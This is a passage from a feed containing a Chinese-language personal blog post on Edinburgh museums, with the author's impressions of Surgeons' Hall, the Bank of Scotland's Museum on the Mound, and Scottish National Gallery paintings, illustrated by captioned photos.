            id=&#x27;url-btn&#x27;&gt;复制地址&lt;&#x2F;button&gt;
    &lt;&#x2F;p&gt;

    





    





    




&lt;&#x2F;div&gt;

    </content>
  </entry>
  <entry xml:lang="zh-hans">
    <title>爱丁堡的博物馆</title>
    <published>2022-09-09T00:17:31+01:00</published>
    <updated>2022-11-23T14:18:30+00:00</updated>
    <author>
      <name>马鲛鱼</name>
    </author>
    <link href="https://emptystack.top/edinburgh-museums/" type="text/html" />
    <id>https://emptystack.top/edinburgh-museums/</id>
    <content type="html">
      &lt;p&gt;本文持续更新。&lt;&#x2F;p&gt;
&lt;p&gt;
&lt;h2&gt;目录&lt;&#x2F;h2&gt;
&lt;ul&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Surgeons’s_Hall_Mueseums&quot;&gt;Surgeons’s Hall Mueseums&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Museum_on_the_Mound&quot;&gt;Museum on the Mound&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#National_Galleries_of_Scotland&quot;&gt;National Galleries of Scotland&lt;&#x2F;a&gt;
        
        &lt;ul&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Scottish_National_Gallery&quot;&gt;Scottish National Gallery&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
            &lt;li&gt;
                &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Scottish_National_Gallery_of_Modern_Art&quot;&gt;Scottish National Gallery of Modern Art&lt;&#x2F;a&gt;
            &lt;&#x2F;li&gt;
            
        &lt;&#x2F;ul&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Royal_Scottish_Academy&quot;&gt;Royal Scottish Academy&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Talbot_Rice_Gallery&quot;&gt;Talbot Rice Gallery&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Museum_of_Edinburgh&quot;&gt;Museum of Edinburgh&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Writer’s_Museum&quot;&gt;Writer’s Museum&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
    &lt;li&gt;
	
        &lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#City_Art_Centre&quot;&gt;City Art Centre&lt;&#x2F;a&gt;
        
    &lt;&#x2F;li&gt;
    
&lt;&#x2F;ul&gt;
&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Surgeons’s_Hall_Mueseums&quot;&gt;Surgeons’s Hall Mueseums&lt;&#x2F;h2&gt;
&lt;p&gt;大部分展品没什么，但是那些畸形标本我是真看不下去。观看那些标本时我的心情很复杂：一方面生理上感到厌恶，一方面又觉得他们对现代医学做出的贡献应该比我大——我应该尊敬才是。展品不让拍照，我也不想拍。令人印象深刻的是一幅食指高的完整骨架，整体颜色发黑，头骨大到比例失调。很明显是还没长开的小孩。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;Museum_on_the_Mound&quot;&gt;Museum on the Mound&lt;&#x2F;h2&gt;
&lt;p&gt;&lt;time&gt;2022-07-22&lt;&#x2F;time&gt;&lt;&#x2F;p&gt;
&lt;p&gt;位于苏格兰银行总部，其实是苏格兰银行的博物馆。名称中的&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;The
Mound&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;因为那块地就叫土堆。馆内还有从土堆里挖出来的贝壳——当时贝类是平民食品。吸引人的是一百万英镑纸币——我们就是被门口“来看一百万英镑&lt;span class=&quot;halt&quot;&gt;！&lt;&#x2F;span&gt;”的标语吸引进去的。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_150028.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_150028.42cc47594d9cd510.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_150028.b2a789874bb436d4.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_150028.b7639c4d0a092026.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_150028.b2a789874bb436d4.webp&quot;
	alt=&quot;一百万英镑的一部分&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最有趣的是动手复刻&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Alexander
III&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;时期的苏格兰硬币。令人震惊的是苏格兰的古代硬币不是铸出来的，而是压出来的。体验的硬币两面由两根铁棍压成：一根棍子固定在石头里，一根棍子后端是供敲击的钝头。制作时把圆金属片夹在铁棍之间，再用一段铁管套住两根铁棍，然后举起锤子奋力一砸，硬币就压好了。工作人员很热情，不管多大的游客都来招呼。事实上这个体验也不太适合小朋友，因为只能砸一次，所以力量要到位。&lt;&#x2F;p&gt;
&lt;p&gt;还有一个和银行有关的小游戏：解保险箱。解锁需要向哪边转，转到哪由三个问题的答案组成，而答案分散在博物馆各处——甚至包括保险箱之后场馆的藏品。仅仅知晓正确答案还不够，必须要严格按照指示旋转才能成功解锁。另外操作过程也要小心至极，我们找到正确答案后重复了好几次才打开保险箱。过程十分有趣，但奖品只是一沓博物馆的信封和缩小到信封尺寸的苏格兰银行老广告画。&lt;&#x2F;p&gt;
&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_154056.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154056.4e8ef87866e2831a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154056.e1deba83cec6d0bf.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154056.1906cfe1504fa213.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154056.e1deba83cec6d0bf.webp&quot;
	alt=&quot;成功解锁保险柜&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_154649.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154649.eae207ed0634edd3.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154649.f7082de37c648dfd.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154649.d47ad7345a8b639c.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_154649.f7082de37c648dfd.webp&quot;
	alt=&quot;逛博物馆的战利品&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;
&lt;p&gt;博物馆还有设计纸币的游戏，不过我们没赶上。而且我的创意不多，让我来大概率是画个毛主席像。&lt;&#x2F;p&gt;
&lt;h2 id=&quot;National_Galleries_of_Scotland&quot;&gt;National Galleries of Scotland&lt;&#x2F;h2&gt;
&lt;p&gt;National Galleries of
Scotland&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;包含&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scottish
National Gallery、Scottish National Gallery of Modern Art、Scottish
National Portrait Gallery&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;四家画廊。&lt;&#x2F;p&gt;
&lt;p&gt;其中&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Scottish National
Gallery&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;位于王子街，有两座建筑。图中远处的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;National
Gallery Building，近处的是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Royal Scottish
Academy Building。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220908_160457.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_160457.4577c44b4eebd763.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_160457.9426eb4f901d466d.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_160457.8f706379e9ff3f7a.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220908_160457.9426eb4f901d466d.webp&quot;
	alt=&quot;National Gallery Building与Royal Scottish Academy Building&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;Scottish National Gallery of Modern
Art&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;也有两座建筑，命名就很现代：Modern
One&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;和&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Modern
Two。&lt;&#x2F;p&gt;
&lt;h3 id=&quot;Scottish_National_Gallery&quot;&gt;Scottish National Gallery&lt;&#x2F;h3&gt;
&lt;p&gt;&lt;time&gt;2022-07-22&lt;&#x2F;time&gt;&lt;&#x2F;p&gt;
&lt;p&gt;主要是油画，我不喜欢油画。最开始是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;16、17&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;世纪的宗教画——当时的人难道没别的可画么？&lt;&#x2F;p&gt;
&lt;p&gt;圣尼古拉刚出生就感谢上帝、用钱拯救贫困女孩免于卖淫、复活三个饥荒期间被制成腌肉的男孩。我挺喜欢三联画的，它们应该算是早期漫画。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_155344.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_155344.cfff573ae70789ce.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_155344.7e8bc575f776bd2e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_155344.324520f2b35f530b.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_155344.7e8bc575f776bd2e.webp&quot;
	alt=&quot;Gerald David, Three legends of St Nicholas, about 1500–20&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;圣亚加大与自己的乳房——介绍牌说这幅画可能是个同名女子把自己画成圣人的样子。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_160238.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_160238.9a0ea8ec8a1a353f.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_160238.e2eb9e42c7678efe.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_160238.d1ec6711cc722076.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_160238.e2eb9e42c7678efe.webp&quot;
	alt=&quot;Giovanni Busi, St Agatha, about 1512–18&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;上方踩着婴儿头颅的是圣母马利亚，下方是她的父母。这幅画画的是圣母的母亲怀上马利亚——刚怀上就比妈还高大，基督教的想象力可谓丰富。另外以人头为饰品有些佛教的意味。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_161054.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161054.0364f6dafcb3a0f7.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161054.2bb001d0a5a3e821.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161054.6fdeb5cf5fdacdf8.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161054.2bb001d0a5a3e821.webp&quot;
	alt=&quot;Francisco de Zurbarán, The Immaculate Conception with Saint Joachim and Saint Anne, about 1635–40&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;当然，苏格兰国家画廊也要有描绘当地的画作。其中最出名的应该是下面滑冰的人，这幅画作者有争议，可能是苏格兰人也可能是法国人。但不管谁是作者，画中的人物是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;Canongate
Kirk&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;的牧师（那个教堂对面就是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;edinburgh-museums&#x2F;#Museum_of_Edinburgh&quot;&gt;Museum
of Edinburgh&lt;&#x2F;a&gt;&lt;span class=&quot;halt&quot;&gt;）&lt;&#x2F;span&gt;。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_161535.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161535.0e2cb6502e8b1805.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161535.5b221c9faaaad4ba.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161535.a7328ea7ad7caaeb.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161535.5b221c9faaaad4ba.webp&quot;
	alt=&quot;Sir Hery Raeburn or Henri-Pierre Danloux, Reverend Rovert Walker Skating on Duddingston Loch, about 1795&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;1825&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的王子街，右侧在建的建筑是&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;RSA
Building。街上少了如今最标志性的斯科特纪念碑，但是远处的纳尔逊纪念塔和圣吉尔斯大教堂依稀可见。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_161758.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161758.4c0c1c90a65d1887.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161758.ee51ec4a5329e712.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161758.c8dd2ec96936114a.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_161758.ee51ec4a5329e712.webp&quot;
	alt=&quot;Alexander Nasmyth, Princes Street with the commencement of the building of the Royal Institution, 1825&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;1868–72&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年的国家画廊内部。2022&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;年内部仍然是这暗红的墙面。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220722_162245.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_162245.6fdeb8b55ef76c82.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_162245.746943120ce31232.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_162245.bb75d59556e223b5.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220722_162245.746943120ce31232.webp&quot;
	alt=&quot;Scottish School, Interior of the National Gallery of Scotland, about 1868–72&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;&lt;time&gt;2022-09-07&lt;&#x2F;time&gt;，去了&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;www.nationalgalleries.org&#x2F;exhibition&#x2F;taste-impressionism-modern-french-art-millet-matisse&quot;&gt;A Taste for
Impressionism&lt;&#x2F;a&gt;&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;展览。&lt;&#x2F;p&gt;
&lt;p&gt;7&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;月&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;14&lt;span class=&quot;autospace&quot;&gt;&lt;&#x2F;span&gt;号美术馆在一幅梵高的妇人像中发现了作者的自画像。梵高在无法受到哥哥援助时，在旧画的背面以自己为模特画像。目前已知的有八副这样的自画像。国家画廊这一副最初是由詹姆斯・邦德系列作者的母亲购得——靠的不是儿子的稿费，而是&lt;a rel=&quot;external&quot; href=&quot;https:&#x2F;&#x2F;en.wikipedia.org&#x2F;wiki&#x2F;Robert_Fleming_%26_Co.&quot;&gt;老公的银行&lt;&#x2F;a&gt;。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_162127.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162127.b3063a3723958996.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162127.14b651b18ac2186f.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162127.cc44486afa2f25a3.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162127.14b651b18ac2186f.webp&quot;
	alt=&quot;左边是原画，1885；右边是X射线暴露的自画像，1887&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;最开始是比较常规的印象派画作，伴随一些雕塑填充展馆空间。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_162244.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162244.4809d66579720e8c.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162244.7c50e9b23243ad69.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162244.d32cf2f1e2d9b975.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162244.7c50e9b23243ad69.webp&quot;
	alt=&quot;库尔贝，《海浪》，1869&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_162532.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162532.81578e5584545228.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162532.634bd69f57899ed1.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162532.9ab9ef922dd8bec1.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_162532.634bd69f57899ed1.webp&quot;
	alt=&quot;莫奈，《船在海港》，1873&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;div class=&quot;columns&quot;&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_161552.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161552.f789f57bfc5d9bcb.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161552.8a2e30d4de0fc7c2.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161552.87b90ff3eb8e9938.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161552.8a2e30d4de0fc7c2.webp&quot;
	alt=&quot;德加，《〈14岁小舞女〉的裸体研究》，约1878&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;










&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_163302.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163302.e2d994fc98fb7e9a.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163302.3630d1b8a7cfc230.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163302.3a58d379d50fd234.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_163302.3630d1b8a7cfc230.webp&quot;
	alt=&quot;德加，《浴盆》，1889&quot;
	
	
	height=&quot;4000&quot;
	width=&quot;3000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;&#x2F;div&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_161102.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161102.f598de448e5ed2d9.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161102.a6984eae5aa94b1e.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161102.59dc7cc11dd440cc.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161102.a6984eae5aa94b1e.webp&quot;
	alt=&quot;德加，《一群舞者》，1898&quot;
	
	
	height=&quot;3000&quot;
	width=&quot;4000&quot;
	
	loading=&quot;lazy&quot;
	decoding=&quot;async&quot;
    &#x2F;&gt;
&lt;&#x2F;a&gt;


&lt;p&gt;越接近出口的展厅作品越新，越后印象派。高更这副雅各与天使摔跤的画中大片红色十分具有冲击力，我很喜欢。&lt;&#x2F;p&gt;








&lt;a href=&quot;https:&#x2F;&#x2F;emptystack.top&#x2F;assets&#x2F;IMG_20220907_161748.jpg&quot; target=&quot;_blank&quot;&gt;
    &lt;img
        srcset=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161748.d55af3175e488747.webp 500w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161748.5ddec0ddcdeace04.webp 1000w, https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161748.a04a46d1f99dff92.webp 1500w&quot;
	
        src=&quot;https:&amp;#x2F;&amp;#x2F;emptystack.top&amp;#x2F;processed_images&amp;#x2F;IMG_20220907_161748.5ddec0ddcdeace04.webp&quot;
	alt=&quot;高更，《布道的幻象》，1888&quot;
	
	
